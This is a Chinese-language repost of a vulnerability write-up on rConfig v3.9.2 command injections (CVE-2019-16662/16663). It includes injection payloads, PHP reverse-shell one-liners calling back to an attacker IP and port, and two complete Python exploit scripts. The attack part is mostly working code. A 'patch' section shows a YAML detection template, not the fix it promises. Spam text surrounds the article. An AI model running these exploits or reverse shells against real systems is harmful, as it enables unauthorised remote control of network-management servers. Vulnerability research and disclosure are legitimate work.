中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

rConfig v3.9.2遠程命令執行的漏洞分析

發布時間:2021-11-11 21:38:51 來源:億速云 閱讀:199 作者:柒染 欄目:安全技術

這期內容當中小編將會給大家帶來有關rConfig v3.9.2遠程命令執行的漏洞分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

rConfig v3.9.2遠程命令執行的漏洞分析

rConfig概述

   rConfig是一款開源的網絡設備配置管理實用工具,在rConfig的幫助下,網絡工程師可以快速、頻繁地管理網絡設備的快照。

漏洞發現

在近期的一次研究過程中,我在rConfig的兩個代碼文件中分別找到了兩個遠程代碼執行漏洞。

第一個文件為ajaxServerSettingsChk.php,其中的rootUname參數在源文件的第2行中定義,隨后會在第13行傳遞給exec函數,而攻擊者可以通過rootUname參數發送特制的GET請求,并以此來觸發未授權的遠程代碼執行。攻擊者只需要將惡意命令注入到這個參數中,并在目標服務器上執行,即可完成漏洞利用。

第二個RCE漏洞位于search.crud.php文件中,攻擊者可以發送特制的GET請求來觸發該漏洞。這個請求需要包含兩個參數,其中的searchTerm參數可以包含任意值,但該參數要有,否則第63行的exec函數將無法正常執行。

在之前的RCE漏洞挖掘過程中,我曾開發過一個簡單的Python腳本來尋找目標可能存在的所有不安全函數,這一次我同樣打算使用這個腳本:【RCEScanner】。

漏洞分析#1

運行該腳本后,我們可以查看到腳本的輸出結果。在檢查文件的過程中,我發現了一個名為ajaxServerSettingsChk.php的文件,文件路徑為install/lib/ajaxHandlers/ajaxServerSettingsChk.php,其部分代碼段如下:

<?php$rootUname = $_GET['rootUname'];    // line 2$array = array();/* check PHP Safe_Mode is off */if (ini_get('safe_mode')) {    $array['phpSafeMode'] = '&ampamp;lt;strong&ampamp;gt;&ampamp;lt;font class=&ampamp;quot;bad&ampamp;quot;&ampamp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&ampamp;lt;/strong&ampamp;gt;&ampamp;lt;/font&ampamp;gt;br/&ampamp;gt;';} else {    $array['phpSafeMode'] = '&ampamp;lt;strong&ampamp;gt;&ampamp;lt;font class=&ampamp;quot;Good&ampamp;quot;&ampamp;gt;Pass - php safe mode is off&ampamp;lt;/strong&ampamp;gt;&ampamp;lt;/font&ampamp;gt;&ampamp;lt;br/&ampamp;gt;';}/* Test root account details */$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&ampamp;gt;&ampamp;amp;1';    // line 12exec($rootTestCmd1, $cmdOutput, $err);    // line 13$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);if ($homeDirPerms == '0777') {    $array['rootDetails'] = '&ampamp;lt;strong&ampamp;gt;&ampamp;lt;font class=&ampamp;quot;Good&ampamp;quot;&ampamp;gt;Pass - root account details are good &ampamp;lt;/strong&ampamp;gt;&ampamp;lt;/font&ampamp;gt;&ampamp;lt;br/&ampamp;gt;';} else {    $array['rootDetails'] = '&ampamp;lt;strong&ampamp;gt;&ampamp;lt;font class=&ampamp;quot;bad&ampamp;quot;&ampamp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&ampamp;lt;/strong&ampamp;gt;&ampamp;lt;/font&ampamp;gt;&ampamp;lt;br/&ampamp;gt;';}// reset /home dir permissions$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&ampamp;gt;&ampamp;amp;1';    // line 21exec($rootTestCmd2, $cmdOutput, $err);    // line 22echo json_encode($array);

在第二行代碼中,腳本會將GET請求中的rootUname參數值保存到$rootUname中。在第十二行,代碼將$rootUname與一些其他的字符串拼接在一起,然后保存到了$rootTestCmd1中,最后傳遞給第十三行的exec函數。剩下的代碼同理以此類推。

因此,我們只需要注入需要執行的命令,然后在第十三行跳出原代碼的執行流程,并執行我們的代碼即可。為了實現這個目標,我們需要使用下列Payload:

; your command #

測試Payload時,我修改了代碼,并顯示第十三行exec()函數的運行結果,然后編碼并發送Payload:

rConfig v3.9.2遠程命令執行的漏洞分析 

如上圖所示,我們可以通過rootUname參數發送經過編碼的“; id #”命令。為了拿到Shell,我們可以使用下列Payload:

;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

注意:我之所以使用這個payload,是為了避免使用nc,因為這個程序在CentOS 7.7 mini上默認是沒有安裝的。

編碼payload并使用Burp發送后,結果如下:

rConfig v3.9.2遠程命令執行的漏洞分析

沒錯,我們成功拿到了Shell!

為了自動化實現整個過程,我編寫了一個Python腳本:

#!/usr/bin/python# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16662# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 4:    print "[+] Usage : ./exploit.py target ip port"    exit()target = sys.argv[1]ip = sys.argv[2]port = sys.argv[3]payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))install_path = target + "/install"req = requests.get(install_path, verify=False)if req.status_code == 404:    print "[-] Installation directory not found!"    print "[-] Exploitation failed !"    exit()elif req.status_code == 200:    print "[+] Installation directory found!"url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payloadprint "[+] Triggering the payload"print "[+] Check your listener !"requests.get(url_to_send, verify=False)

運行這個腳本之后,我們可以看到如下所示的結果:

rConfig v3.9.2遠程命令執行的漏洞分析

我們再次拿到了shell!

漏洞分析#2

在RCEScanner的掃描結果列表中,還有一個名叫“lib/crud/search.crud.php”的文件吸引了我的注意,改文件中包含下列代碼:

if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {    // line 25    /* validation */    $searchTerm = '"' . $_GET['searchTerm'] . '"';    // line 27    $catId = $_GET['catId'];    $catCommand = $_GET['catCommand'];    // line 29    $nodeId = $_GET['nodeId'];    // line 30    $grepNumLineStr = $_GET['numLinesStr'];    $grepNumLine = $_GET['noLines'];    $username = $_SESSION['username'];    // if nodeId was empty set it to blank    if (empty($nodeId)) {        $nodeId = '';    } else {        $nodeId = '/' . $nodeId . '/';    }    $returnArr = array();    // Get the category Name from the Category selected        $db2->query("SELECT categoryName from `categories` WHERE id = :catId");    $db2->bind(':catId', $catId);    $resultCat = $db2->resultset();    $returnArr['category'] = $resultCat[0]['categoryName'];    // get total file count    $fileCount = array();    $subDir = "";    if (!empty($returnArr['category'])) {        $subDir = "/" . $returnArr['category'];    }    exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);    // line 57    $returnArr['fileCount'] = $fileCountArr['0'];    //next find all instances of the search term under the specific cat/dir     $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';    // line 61    // echo $command;die();exec($command, $searchArr);    // line 63

首先,我們需要發送包含searchTerm參數的GET請求來繞過第25行的if語句,這樣就可以進入代碼執行體了。接下來,我們需要發送包含catCommand參數的另一個GET請求,并注入我們的Payload。這個參數會在第61行與其他的字符串拼接起來,在存儲到$command中之后,便會在第63行傳遞給exec()執行。

在這里,我打算用一個sleep()來測試該邏輯是否可行,這個Payload會讓代碼掛起5秒,分析之后,我發現這里可以用多個Payload來繞過字符串轉義并執行我們的代碼:

""&&$(`sleep 5`)#

使用Burp發送請求后,得到的結果如下:

rConfig v3.9.2遠程命令執行的漏洞分析

沒錯,我們的sleep邏輯生效了,也就是注入的命令成功執行了。

我們的目的是拿到Shell,這里我使用了一段PHP代碼,然后跟其他字符串進行了拼接:

""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

為了自動化實現整個漏洞利用過程,我編寫了一個簡單的Python腳本:

#!/usr/bin/python# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16663# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 6:    print "[+] Usage : ./exploit.py target username password ip port"    exit()target = sys.argv[1]username = sys.argv[2]password = sys.argv[3]ip = sys.argv[4]port = sys.argv[5]request = requests.session()login_info = {    "user": username,    "pass": password,    "sublogin": 1}login_request = request.post(    target+"/lib/crud/userprocess.php",     login_info,     verify=False,     allow_redirects=True )dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)if dashboard_request.status_code == 200:    print "[+] LoggedIn successfully"    payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))    print "[+] triggering the payload"    print "[+] Check your listener !"    exploit_req = request.get(encoded_request)elif dashboard_request.status_code == 302:    print "[-] Wrong credentials !"exit()

運行該漏洞利用腳本之后,我們得到了下圖所示的結果:

rConfig v3.9.2遠程命令執行的漏洞分析

沒錯,我們又拿到了Shell!

漏洞修復

隨后,我們順著Github找到了該系統得源碼,然后找到了最新的漏洞修復補丁,其中更新的部分代碼如下:

name: poc-yaml-rconfig-cve-2019-16663
set:
  r: randomInt(800000000, 1000000000)
  r1: randomInt(800000000, 1000000000)
rules:
  - method: GET
    path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
detail:
  author: 17bdw
  links:
    - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
    - https://www.cnblogs.com/17bdw/p/11840588.html
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

上述就是小編為大家分享的rConfig v3.9.2遠程命令執行的漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

明光市| 涟水县| 武宣县| 玉龙| 浦东新区| 辽阳市| 满洲里市| 莒南县| 旬邑县| 抚顺县| 卢氏县| 禄丰县| 福清市| 那坡县| 邮箱| 桐乡市| 来宾市| 普宁市| 华容县| 霍州市| 溆浦县| 曲松县| 彰化市| 文化| 林西县| 汾西县| 青河县| 平邑县| 农安县| 临安市| 突泉县| 奉新县| 南汇区| 洪泽县| 广昌县| 措美县| 平塘县| 南昌市| 东丽区| 安仁县| 隆子县|